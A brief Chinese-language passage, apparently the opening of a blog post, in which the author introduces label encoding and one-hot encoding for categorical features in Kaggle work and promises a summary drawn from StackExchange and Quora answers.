    最近在刷kaggle的时候碰到了两种处理类别型特征的方法:label encoding和one hot encoding.我从stackexchange, quora等网上搜索了相关的问题,总结如下. ...